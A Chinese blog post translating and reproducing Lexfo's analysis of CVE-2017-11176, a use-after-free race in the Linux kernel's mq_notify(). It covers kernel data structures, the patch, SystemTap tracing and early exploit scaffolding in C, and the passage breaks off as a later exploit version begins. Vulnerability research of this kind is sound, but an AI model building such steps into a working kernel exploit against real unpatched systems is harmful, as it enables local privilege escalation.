Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

【翻译&复现】CVE-2017-11176分析(1)

根据lexfo博客进行的CVE-2017-11176分析和复现(第一部分)。

源自文章:

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html

0x00 前言

使用Lexfo的博客中Debian 8.6.0 amd64的Linux系统和VMware Fusion进行调试。原博客中有部分代码和脚本无法在实验环境下运行,直接做了修改,因此本文中部分代码和脚本和原文中不一致。

漏洞复现条件:

  • 内核版本小于4.11.9
  • amd64架构
  • 内核使用SLAB分配器
  • 开启SMEP
  • 关闭kASLR和SMAP
  • 内存大于512MB
  • 能够对目标系统进行调试
  • 建议只使用1个CPU

测试exploit,系统能够被exp crash(需要针对性地调整exp才能在目标系统上getshell)。

0x01 核心概念 #1

进程描述符和current宏

每个线程都有一个task_struct

1
2
3
4
5
6
7
8
9
10
11
// [include/linux/sched.h]

struct task_struct {
volatile long state; // process state (running, stopped, ...)
void *stack; // task's stack pointer
int prio; // process priority
struct mm_struct *mm; // memory address space
struct files_struct *files; // open file information
const struct cred *cred; // credentials
// ...
};

通过current宏可以获取当前正在运行的task的结构体指针。

文件描述符、文件对象、文件描述表

在Linux中,有七种文件:常规、目录、链接、字设备、块设备、fifo和socket,它们都用文件描述符来表示。文件描述符本质上是一个整数,只有对特定的进程才有意义。每个文件描述符与文件结构体相关联。

文件对象用来表示一个被打开的文件,它并不需要匹配硬盘上的某个映像。指向file结构体的指针通常被命名为filp(file pointer)。

几个最重要的file结构体成员:

1
2
3
4
5
6
7
8
9
// [include/linux/fs.h]

struct file {
loff_t f_pos; // "cursor" while reading file
atomic_long_t f_count; // object's reference counter
const struct file_operations *f_op; // virtual function table (VFT) pointer
void *private_data; // used by file "specialization"
// ...
};

文件描述符和file结构体指针的映射表被称作file descriptor table(fdt),它并不是1对1映射,可能存在多个描述符映射到同一结构体指针的情况,因此file结构体中有f_count成员来记录引用情况。FDT的结构体被称为fdtable,它就是一个array。

1
2
3
4
5
6
7
// [include/linux/fdtable.h]

struct fdtable {
unsigned int max_fds;
struct file ** fd; /* current fd array */
// ...
};

将FDT和进程相连接的是files_struct结构体,由于fdtable还包含其他信息,因此并不直接放入task_struct中。files_struct同样可以在多个线程之间共享。

1
2
3
4
5
6
7
// [include/linux/fdtable.h]

struct files_struct {
atomic_t count; // reference counter
struct fdtable *fdt; // pointer to the file descriptor table
// ...
};

指向files_struct的指针保存在task_struct中。

虚函数表(VFT)

最广为人知的VFT是struct file_operations

1
2
3
4
5
6
7
8
9
// [include/linux/fs.h]

struct file_operations {
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
int (*open) (struct inode *, struct file *);
int (*release) (struct inode *, struct file *);
// ...
};

由于Linux中所有东西都被看作文件,但其类型又不一样,所以有着不一样的file operations,常被称作f_ops

1
2
if (file->f_op->read)
ret = file->f_op->read(file, buf, count, pos);

Socket、Sock、SKB

socket结构体位于网络栈的顶层。在socket创建过程中,一个新的file结构体被创建并且f_op被设置为socket_file_ops。由于每个文件以文件描述符的形式表示,因此对文件操作的syscall适用于所有文件,对于socket,内核将调用socket的文件操作:

1
2
3
4
5
6
7
8
// [net/socket.c]

static const struct file_operations socket_file_ops = {
.read = sock_aio_read, // <---- calls sock->ops->recvmsg()
.write = sock_aio_write, // <---- calls sock->ops->sendmsg()
.llseek = no_llseek, // <---- returns an error
// ...
}

由于socket结构体实际上应用了BSD socket API,它集成了一个特殊的VFT结构体proto_ops。每个类型的socket(例如AF_INET、AF_NETLINK等)实现它自己的proto_ops`。

1
2
3
4
5
6
7
8
// [include/linux/net.h]

struct proto_ops {
int (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
int (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);
int (*accept) (struct socket *sock, struct socket *newsock, int flags);
// ...
}

当BSD形式的系统调用被触发,内核总体上遵循以下架构:

  1. 从FDT中检索file结构体
  2. file结构体中检索socket结构体
  3. 调用proto_ops中的操作

因为一些协议的操作可能需要进入到网络栈的底层,所以socket结构体有一个指针指向sock对象。这个指针主要是为了进行socket的协议操作(proto_ops)。socket结构体可以看作是file结构体和sock结构体的”胶水”。

1
2
3
4
5
6
7
8
// [include/linux/net.h]

struct socket {
struct file *file;
struct sock *sk;
const struct proto_ops *ops;
// ...
};

sock结构体是一个复杂的结构体,人们可能会把其看作是下层(网卡驱动)和更高级别(socket)之间的中间事物,主要目的是能够以通用方式保持接收和发送的缓冲区。

当通过网卡接收到数据包时,驱动将网络数据包排队到sock的接收缓冲区中。数据包会在缓冲区一直存在直到程序决定接收它(使用recvmsg()系统调用)。发送时也一样,只不过由网卡将数据包从队列移出并发送。

这些网络数据包(are so-called struct sk_buff or skb)。这些缓冲区基本上都是skb的双向链表。

1
2
3
4
5
6
7
8
9
10
11
12
// [include/linux/sock.h]

struct sock {
int sk_rcvbuf; // theorical "max" size of the receive buffer
int sk_sndbuf; // theorical "max" size of the send buffer
atomic_t sk_rmem_alloc; // "current" size of the receive buffer
atomic_t sk_wmem_alloc; // "current" size of the send buffer
struct sk_buff_head sk_receive_queue; // head of doubly-linked list
struct sk_buff_head sk_write_queue; // head of doubly-linked list
struct socket *sk_socket;
// ...
}

sock结构体引用了socket结构体,而socket结构体也引用了sock结构体。同样地,socket结构体引用file结构体,file结构体引用socket结构体(private_data)。这种双向机制允许数据在网络栈中上下移动。

struct sock对象通常称为sk,而struct socket对象通常称为sock。

Netlink Socket是socket的一种类型,就像UNIX或INET套接字一样。Netlink Socket(AF_NETLINK)允许内核和用户态之间的通信,它可以用来修改路由表、接收SELinux事件通知,甚至与其他用户进程通信。

由于socksocket结构体是支持各种套接字的通用数据结构,因此有必要在某种程度上进行专门化。从socket角度来看,需要定义proto_ops,对于netlink系列,相关操作是netlink_ops

1
2
3
4
5
6
7
8
9
// [net/netlink/af_netlink.c]

static const struct proto_ops netlink_ops = {
.bind = netlink_bind,
.accept = sock_no_accept, // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
.sendmsg = netlink_sendmsg,
.recvmsg = netlink_recvmsg,
// ...
}
1
2
3
4
5
6
7
8
9
10
// [include/net/netlink_sock.h]

struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
u32 pid;
u32 dst_pid;
u32 dst_group;
// ...
};

换句话说,netlink_sock是具有一些附加属性的sock

它允许内核在不知道其精确类型的情况下操作通用sock结构体。 它还带来了另一个好处,&netlink_sock.sk是&netlink_sock同个地址。

Putting it all together

数据结构关系图

Reference counters

为了总结这些内核核心概念的介绍,有必要理解内核如何处理reference counters。为了减少内核内存泄漏和防止UAF,大多数Linux的数据结构中有ref counter,为atomic_t类型(int)。通过如下原子操作对ref counter进行操作:

  • atomic_inc()
  • atomic_add()
  • atomic_dec_and_test() // substract 1 and test if it is equals zero

这些操作都要由开发人员手动完成。但是存在这样的风险:

  • 减少refcounter两次:UAF
  • 增加refcounter两次:内存泄漏或整数溢出导致UAF

Linux内核通过普通接口有多种手段处理refcounter(kref,kobject)。但是,它没有系统地使用操作的对象中已有的refcounter helper,而是使用*_get()*_put()等函数。

在这个例子中,每个对象有不同的helper名字:

  • struct sock: sock_hold(), sock_put()

  • struct file: fget(), fput()

  • struct files_struct: get_files_struct(), put_files_struct()

  • WARNING: it can get even more confusing! For instance, skb_put() actually does not decrease any refcounter, it “pushes” data into the sk buffer! Do not assume anything about what a function does based on its name, check it.

与本CVE的相关的数据结构以上已介绍完毕,接下来开始分析CVE。

0x02 Public Information

首先介绍下mq_notify系统调用的用途,mq_*代表”POSIX message queues”,用来代替System V message queues:

1
2
3
POSIX message queues allow processes to exchange data in the form of messages.
This API is distinct from that provided by System V message queues (msgget(2),
msgsnd(2), msgrcv(2), etc.), but provides similar functionality.

mq_notify()系统调用用来注册或注销异步提醒:

1
mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.

相关Patch:

在例如4.11.9的内核代码中,mq_notify()在进入retry逻辑之前没有把sock指针清空。当用户态关闭了netlink socket,这个UAF使得攻击能够发起DoS攻击并有可能造成进一步的影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:

timeo = MAX_SCHEDULE_TIMEOUT;
ret = netlink_attachskb(sock, nc, &timeo, NULL);
- if (ret == 1)
+ if (ret == 1) {
+ sock = NULL;
goto retry;
+ }
if (ret) {
sock = NULL;
nc = NULL;

Patch的描述提供了更多的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mqueue: fix a use-after-free in sys_mq_notify()
The retry logic for netlink_attachskb() inside sys_mq_notify()
is nasty and vulnerable:

1) The sock refcnt is already released when retry is needed
2) The fd is controllable by user-space because we already
release the file refcnt

so we then retry but the fd has been just closed by user-space
during this small window, we end up calling netlink_detachskb()
on the error path which releases the sock again, later when
the user-space closes this socket a use-after-free could be
triggered.

Setting 'sock' to NULL here should be sufficient to fix it
  • 有漏洞的代码存在于mq_notify
  • retry的逻辑中有错误
  • sock的计数器上有错误导致UAF
  • 漏洞与已经关闭的fd的条件竞争有关

0x03 Understanding the Bug

问题代码

重点关注retry的逻辑和函数退出的路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
      // from [ipc/mqueue.c]

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct sigevent notification;
struct sk_buff *nc;

// ... cut (copy userland data to kernel + skb allocation) ...

sock = NULL;
retry:
[0] filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
[1] goto out;
}
[2a] sock = netlink_getsockbyfilp(filp);
[2b] fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
[3] goto out;
}

timeo = MAX_SCHEDULE_TIMEOUT;
[4] ret = netlink_attachskb(sock, nc, &timeo, NULL);
if (ret == 1)
[5a] goto retry;
if (ret) {
sock = NULL;
nc = NULL;
[5b] goto out;
}

[5c] // ... cut (normal path) ...

out:
if (sock) {
netlink_detachskb(sock, nc);
} else if (nc) {
dev_kfree_skb(nc);
}
return ret;
}

代码开始于获取用户态提供的文件描述符[0],如果这个fd不存在于当前进程的fdt中,将会返回空指针并进入退出流程[1]。此外,提供的文件的sock对象也被获取[2a]。如果没有有效的sock对象,同样会置NULL并进入退出流程[3]。在这两种情况下(?),file结构体引用会被减一(dropped)[2b]。

最后,会调用netlink_attachskb()[4],尝试将sk_buff(nc)加入到sock的接收队列,在这有三种可能的结果:

  1. 一切正常[5c]
  2. 函数返回1,代码跳转到retry标签[5a]
  3. ncsock都被设置为NULL,代码跳转到退出流程[5b]

为什么要清空sock指针

1
2
3
4
out:
if (sock) {
netlink_detachskb(sock, nc); // <----- here
}
1
2
3
4
5
6
7
// from [net/netlink/af_netlink.c]

void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
{
kfree_skb(skb);
sock_put(sk); // <----- here
}
1
2
3
4
5
6
7
8
// from [include/net/sock.h]

/* Ungrab socket and destroy it if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt)) // <----- here
sk_free(sk);
}

如果sock被置NULL并进入退出流程,它的引用计数器sk_refcnt无条件地会被减1。如patch所描述的,漏洞代码的sock对象的refcount存在着问题,但refcount是在何处被加1的?查看netlink_getsockbyfilp()[2a]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    // from [net/netlink/af_netlink.c]

struct sock *netlink_getsockbyfilp(struct file *filp)
{
struct inode *inode = filp->f_path.dentry->d_inode;
struct sock *sock;

if (!S_ISSOCK(inode->i_mode))
return ERR_PTR(-ENOTSOCK);

sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK)
return ERR_PTR(-EINVAL);

[0] sock_hold(sock); // <----- here
return sock;
}
1
2
3
4
5
6
// from [include/net/sock.h]

static inline void sock_hold(struct sock *sk)
{
atomic_inc(&sk->sk_refcnt); // <------ here
}

sock对象的refcounter在[0]处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一,这意味着netlink_attachskb()应该以某种形式对refcounter保持中立。(attach的调用位于另外两个函数中间)

简化版的netlink_attachskb()代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// from [net/netlink/af_netlink.c]

/*
* Attach a skb to a netlink socket.
* The caller must hold a reference to the destination socket. On error, the
* reference is dropped. The skb is not sent to the destination, just all
* all error checks are performed and memory in the queue is reserved.
* Return values:
* < 0: error. skb freed, reference to sock dropped.
* 0: continue
* 1: repeat lookup - reference dropped while waiting for socket memory.
*/

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;

nlk = nlk_sk(sk);

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

// ... cut (wait until some conditions) ...

sock_put(sk); // <----- refcnt decremented here

if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo); // <----- "error" path
}
return 1; // <----- "retry" path
}
skb_set_owner_r(skb, sk); // <----- "normal" path
return 0;
}

netlink_attachskb()有两条路径:

  1. 正常路径:skb拥有权转到sock(例如加入到sock的接收队列中)
  2. Socket的接收缓冲区已满:等待直到有足够的空间并重试,或退出

如注释所言:调用者必须持有对目标套接字的引用(?)。 出错时,refcounter会被减1,因此netlink_attachskbsockrefcounter有副作用。

既然netlink_attachskb可能释放refcounter,调用者应该确保它不能被释放第二次,这个由将sock设置为NULL实现。在错误路径中sock被正确处理了,但在retry中并没有。

至此,我们知道了错误发生的情况,即retry逻辑中没有正确重置sock为NULL。

条件竞争

Patch中提到了与已经关闭的fd相关的条件竞争窗口,首先来看下retry逻辑的起始位置:

1
2
3
4
5
6
7
8
sock = NULL;  // <----- first loop only
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; // <----- what about this?
}
sock = netlink_getsockbyfilp(filp);

在第一次循环的时候,错误处理路径看起来似乎是无害的,但是要记住,在第二次循环的时候(goto retry之后),sock已经不是NULL了,并且refcounter已经被减1。所以,直接跳到out,满足了第一个条件:

1
2
3
4
out:
if (sock) {
netlink_detachskb(sock, nc);
}

sock在这被减1了第二次(double sock_put() bug)。可能会疑惑为什么会在第二次循环中触发这个条件(fgets返回NULL),这就是这个漏洞的条件竞争部分,会在下一章说明。

攻击场景

流程图

close系统调用触发fputs()(对refcounter减1)并从映射表中将fd和文件的映射移除,将fdt[TARGET_FD]的入口设置为NULL。因为调用close(fd)函数将会释放最后一个对文件的引用,所以file结构体将会被释放。由于file结构体被释放,相关联的sock的结构体的引用计数被减1,且sock的计数为0,导致它被释放。这时,sock指针并没有被设置为NULL,使其成为了一个野指针。

因为fd已经不指向任何有效的文件结构了,所以第二次调用fget()时会失败,程序将会跳转到out标签处。接着netlink_detachskb()将会使用之前已经被释放的sock指针,导致use after free。这里的use after free是漏洞导致的结果而不是漏洞产生的原因。

这就是为什么patch提到了关闭fd,这是触发漏洞的必要条件。并且因为close()发生在其它线程中的特定时间,所以产生了竞争条件。

到此为止,我们知道了关于漏洞的所有知识以及如何触发它,需要明确两个条件:

  1. 在第一个retry中,netlink_attachskb()应该返回1
  2. 在第二个retry中,fget()应该返回NULL

换句话说,当我们从mq_notify()系统调用返回时,sockrefcounter已经被减去了1,这里出现了失衡。因为refcounter在进入系统调用之前是1,当它释放后,在netlink_detachskb()中又被使用。

0x04 如何到达retry逻辑

在之前的章节中,我们分析了漏洞及其触发的条件,在这个章节,我们将会探究如何到达漏洞代码处并编写exp。事实上,确认bug是否能被利用是第一要务,如果无法到达相应的代码处,也就没有继续研究的必要了。

分析retry之前的代码

如同大多数系统调用一样,mq_notift一开始也调用copy_from_user()函数从用户态读取数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct inode *inode;
struct sigevent notification;
struct mqueue_inode_info *info;
struct sk_buff *nc;

[0] if (u_notification) {
[1] if (copy_from_user(&notification, u_notification,
sizeof(struct sigevent)))
return -EFAULT;
}

audit_mq_notify(mqdes, u_notification ? &notification : NULL); // <--- you can ignore this

代码在[0]处检查u_notification是否被设置为NULL,在[1]处从用户态拷贝数据到notification。接下来,可以看到一系列基于用户态数据中的sigevent结构体的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
      nc = NULL;
sock = NULL;
[2] if (u_notification != NULL) {
[3a] if (unlikely(notification.sigev_notify != SIGEV_NONE &&
notification.sigev_notify != SIGEV_SIGNAL &&
notification.sigev_notify != SIGEV_THREAD))
return -EINVAL;
[3b] if (notification.sigev_notify == SIGEV_SIGNAL &&
!valid_signal(notification.sigev_signo)) {
return -EINVAL;
}
[3c] if (notification.sigev_notify == SIGEV_THREAD) {
long timeo;

/* create the notify skb */
nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
if (!nc) {
ret = -ENOMEM;
goto out;
}
[4] if (copy_from_user(nc->data,
notification.sigev_value.sival_ptr,
NOTIFY_COOKIE_LEN)) {
ret = -EFAULT;
goto out;
}

/* TODO: add a header? */
skb_put(nc, NOTIFY_COOKIE_LEN);
/* and attach it to the socket */

retry: // <---- we want to reach this!
filp = fget(notification.sigev_signo);

如果[2]处非NULL,sigev_notify的值会在[3a] [3b] [3c]检查三遍。另一次copy_from_user()在[4]处根据notification.sigev_value_sival_ptr的值触发,需要指向一个用户空间中有效的、可读取的区域的指针,否则函数调用会失败。

sigevent声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// [include/asm-generic/siginfo.h]

typedef union sigval {
int sival_int;
void __user *sival_ptr;
} sigval_t;

typedef struct sigevent {
sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;

struct {
void (*_function)(sigval_t);
void *_attribute; /* really pthread_attr_t */
} _sigev_thread;
} _sigev_un;
} sigevent_t;

为了进入retry至少一次,我们需要:

  1. 提供一个非空的u_notification参数
  2. u_notification.sigev_notify设置为SIGEV_THREAD
  3. notification.sigev_value.sival_ptr必须是一个合法的用户空间可读指针,数据长度至少32字节(NOTIFY_COOKIE_LEN=32)。

开始编写exploitation

先编写一个exp验证mq_notify可用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
* CVE-2017-11176 Exploit.
*/

#include <mqueue.h>
#include <stdio.h>
#include <string.h>


#define NOTIFY_COOKIE_LEN (32)


int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];

printf("-={ CVE-2017-11176 Exploit }=-\n");

// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;

if (mq_notify((mqd_t)-1, &sigev))
{
perror("mqnotify");
goto fail;
}
printf("mqnotify succeed\n");

// TODO: exploit

return 0;

fail:
printf("exploit failed!\n");
return -1;
}

推荐使用Makefile来降低exp的开发难度。为了编译这段代码,需要使用-lrt标志(调用mq_notify所必需的)。另外,推荐使用-O0优化选项避免gcc重排我们的代码导致不可预料的问题。

1
2
3
-={ CVE-2017-11176 Exploit }=-
mqnotify: Bad file descriptor
exploit failed!

mq_notify返回了Bad file descriptor(-EBADF),有三个地方会导致该错误:

  1. fget()的某次调用
  2. filp->f_op != &mqueue_file_operations的检查

让我们找出具体是什么位置。

System Tap

在exp开发的初始阶段,强烈建议在带调试符号的kernel中运行exp,这将使得我们可以使用SystemTap。SystemTap是一个内核探针工具,并且不需要使用gdb。

让我们从一个基本的System Tap脚本开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# mq_notify.stp

probe syscall.mq_notify
{
if (execname() == "exploit")
{
printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)
}
}

probe syscall.mq_notify.return
{
if (execname() == "exploit")
{
printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)
}
}

前述脚本安装的两个探针分别位于系统调用之前和之后,使用execname()来限制输出的条件。

备注:如果输出太多,SystemTap会忽略一些输出并且不会提示。

运行脚本:

1
stap -v mq_notify.stp

再次运行exp将会显示:

1
2
(14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)
(14427-14427) <<< mq_notify = fffffffffffffff7

探针正常工作,-1是我们设置的第一个参数,第二个参数是一个用户态指针,返回值-9即-EBADF。接下来添加新的输出,不同于syscall的hook,一般的内核函数可以通过下列写法来实现hook:

1
2
3
4
5
6
7
probe kernel.function ("fget")
{
if (execname() == "exploit")
{
printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $$parms)
}
}

备注:由于某些原因,并不是所有内核函数都可以被hook。例如一些内联函数,需要根据其具体的位置判断其是否能被hook。另外,像copy_from_user()这种函数,可以在调用前被hook,调用后不能被hook。SystemTap会提示和拒绝这些hook。

接着我们对mq_notify()中的每一个函数都添加了探针并重新运行exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)
(17850-17850) [skb] <<== skb_put = ffff88000a187600
(17850-17850) [vfs] ==>> fget (fd=0x3)
(17850-17850) [vfs] <<== fget = ffff88002e271280
(17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)
(17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800
(17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 timeo=0xffff88002e1f3f40 ssk=0x0)
(17850-17850) [netlink] <<== netlink_attachskb = 0
(17850-17850) [vfs] ==>> fget (fd=0xffffffff)
(17850-17850) [vfs] <<== fget = 0
(17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
(17850-17850) [netlink] <<== netlink_detachskb
(17850-17850) [SYSCALL] <<== mq_notify= -9

First Bug

本地测试的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Pass 1: parsed user script and 106 library script(s) using 87868virt/32748res/5356shr/28164data kb, in 90usr/0sys/92real ms.
Pass 2: analyzed script: 593 probe(s), 12 function(s), 5 embed(s), 0 global(s) using 147776virt/93816res/6848shr/88072data kb, in 830usr/60sys/896real ms.
Pass 3: using cached /root/.systemtap/cache/c1/stap_c16be11687935a62b4012a183645f89c_205765.c
Pass 4: using cached /root/.systemtap/cache/c1/stap_c16be11687935a62b4012a183645f89c_205765.ko
Pass 5: starting run.
(2521-2521) >>> copy_from_user()
(2521-2521) >>> copy_from_user()
(2521-2521) >>> copy_from_user()
(2521-2521) >>> copy_from_user()
(2521-2521) >>> copy_from_user()
(2521-2521) >>> copy_from_user()


(2521-2521) >>> mq_notify (-1, 0x7fffd32050e0)
(2521-2521) >>> copy_from_user()
(2521-2521) >>> alloc_skb (priority=? size=?)
(2521-2521) >>> copy_from_user()
(2521-2521) >>> fdget (fd=?)
(2521-2521) >>> netlink_getsockbyfilp (filp=0xffff88003c4ff100)
(2521-2521) <<< netlink_getsockbyfilp = ffff88003c7b2000
(2521-2521) >>> netlink_attachskb (sk=0xffff88003c7b2000 skb=0xffff88003afd0100 timeo=0xffff88003c6c3f08 ssk=0x0)
(2521-2521) <<< netlink_attachskb = 0
(2521-2521) >>> fdget (fd=?)
(2521-2521) >>> netlink_detachskb (sk=0xffff88003c7b2000 skb=0xffff88003afd0100)
(2521-2521) <<< netlink_detachskb
(2521-2521) <<< mq_notify = fffffffffffffff7


(2521-2521) >>> copy_from_user()
(2521-2521) >>> copy_from_user()

看起来我们似乎到达了retry逻辑:

  1. copy_from_user调用
  2. alloc_skb调用:exp传递了SIGEV_THREAD
  3. copy_from_user调用:获取sival_buffer
  4. skb_put调用:表明了第三步没有失败
  5. fdget(fd=?):在作者原文中,fd=0x3

作者原文中提到,fd应该为0,因为notification.sigev_signo没有传递其它值。尽管如此,第一个fget()并没有失败,另外netlink_getsockbyfilp()netlink_attachskb()也正常工作。这些事有些奇怪因为我们并没有创建任何AF_NETLINK socket。

第二个fget()失败是因为我们通过mq_notify的参数设置了fd为-1,问题在哪?让我们回过头检查一下sigevent指针。

1
2
printf("sigev = 0x%p\n", &sigev);
if (mq_notify((mqd_t) -1, &sigev))
1
2
sigev = 0x0x7fffbca93010
(2566-2566) >>> mq_notify (-1, 0x7fffbca92f90)

显然系统调用所接收到的指针(0x7fffbca92f90)和我们所提供的(0x0x7fffbca93010)并不完全相同,这可能因为SystemTap有bug或者库的wrapper。

修改exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#include <mqueue.h>
#include <stdio.h>
#include <string.h>

#define NOTIFY_COOKIE_LEN (32)

int main(void) {
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
printf("CVE-2017-11176 Exploit\n");
printf("sigev = 0x%p\n", &sigev);
memset(&sigev, 0, sizeof(sigev));

sigev.sigev_signo = -1;
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;

if (_mq_notify((mqd_t)-1, &sigev)) {
perror("mqnotify");
goto fail;
}
printf("mqnotify succeed\n");
// TODO

return 0;

fail:
printf("Exploit Failed\n");
return -1;
}

因为直接使用了系统调用,编译时不需要再使用-lrt选项了。新的结果如下:

1
2
sigev = 0x0x7fffe677a630
(2599-2599) >>> mq_notify (4294967295, 0x7fffe677a630)
1
2
3
4
5
6
7
8
(3198-3198) >>> mq_notify (4294967295, 0x7fffeda9b070)
(3198-3198) >>> copy_from_user()
(3198-3198) >>> alloc_skb (priority=? size=?)
(3198-3198) >>> copy_from_user()
(3198-3198) >>> skb_put (skb=0xffff88003af5d200 len=0x20)
(3198-3198) <<< skb_put = ffff88003aec5000
(3198-3198) >>> fdget (fd=?)
(3198-3198) <<< mq_notify = fffffffffffffff7

当第一次fget()失败后,程序如我们所期望的直接走到了out标签。到此为止,我们知道了我们可以绕过安全检查到达retry标签。

A common trap has been exposed (caused by library wrapper(封装) instead of syscall), and we saw how to fix it. In order to avoid the same kind of bug in the future, we will wrap every syscall.

0x05 强制触发

有些时候你想验证一个想法又不想从头先搞明白相关的所有代码,在这种情况下,可以使用System Tap Guru Mode来修改内核的数据结构来强制内核执行特定的路径。换句话说,我们可以在内核态去触发漏洞,如果我们在内核态都无法触发漏洞,就更不用说从用户态去触发了。所以,先分析如何修改内核相关参数来满足漏洞触发条件,再逐步去实现用户态的exp(Part 2)。

我们可以触发漏洞如果:

  1. 到达retry逻辑(循环回retry)。我们需要进入netlink_attachskb()并返回1,sock的计数器会减去1。
  2. 当返回retry时,下一次fget()必须返回空以进入out路径并使得sock的计数器再减1。

在前述中,为了触发漏洞,我们必须让netlink_attachskb()返回1,在调用它之前,我们还需先满足几个条件:

  1. 提供一个有效的fd避免第一次fget()执行失败
  2. fd指向的文件必须是AF_NETLINK类型的sock

这样就可以通过检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
    retry:
[0] filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out;
}
[1] sock = netlink_getsockbyfilp(filp);
fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
goto out;
}

通过[0]处的第一个检查比较简单,提供了有效的fd即可,但最好还是提供一个合适的fd,否则[1]处的检查可能会失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock *netlink_getsockbyfilp(struct file *filp)
{
struct inode *inode = filp->f_path.dentry->d_inode;
struct sock *sock;

if (!S_ISSOCK(inode->i_mode)) // <--- this need to be a socket...
return ERR_PTR(-ENOTSOCK);

sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK) // <--- ...from the AF_NETLINK family
return ERR_PTR(-EINVAL);

sock_hold(sock);
return sock;
}

exp改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/*
* CVE-2017-11176 Exploit.
*/

#define _GNU_SOURCE
#include <mqueue.h>
